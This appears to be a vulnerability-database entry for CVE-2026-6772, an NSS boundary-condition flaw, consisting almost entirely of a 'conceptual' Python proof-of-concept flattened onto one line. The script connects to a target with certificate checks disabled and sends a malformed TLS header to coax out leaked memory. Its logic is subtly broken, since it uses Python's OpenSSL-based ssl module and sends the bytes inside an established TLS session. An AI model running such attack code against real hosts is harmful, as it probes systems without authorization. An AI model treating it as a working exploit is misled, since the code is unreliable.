CVE-2026-6772 NSS库边界条件错误漏洞

# This is a conceptual PoC for NSS boundary condition vulnerability import socket import ssl def trigger_vulnerability(target_host, target_port): # Create a TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) # Wrap socket with SSL/TLS to interact with NSS context = ssl.create_default_context() # Note: Disable verification for testing purposes only context.check_hostname = False context.verify_mode = ssl.CERT_NONE try: # Connect to the target ssl_sock = context.wrap_socket(sock, server_hostname=target_host) ssl_sock.connect((target_host, target_port)) # Send malformed data to trigger incorrect boundary checks # In a real scenario, this would be a specific TLS record structure # that causes NSS to read past the buffer boundary. malformed_payload = b"\x16\x03\x01\x00\x05" + b"A" * 100 # Example malformed header ssl_sock.send(malformed_payload) # Attempt to receive response which might contain leaked memory data response = ssl_sock.recv(4096) print(f"Received response: {response}") except Exception as e: print(f"An error occurred: {e}") finally: sock.close() # Usage # trigger_vulnerability("example.com", 443)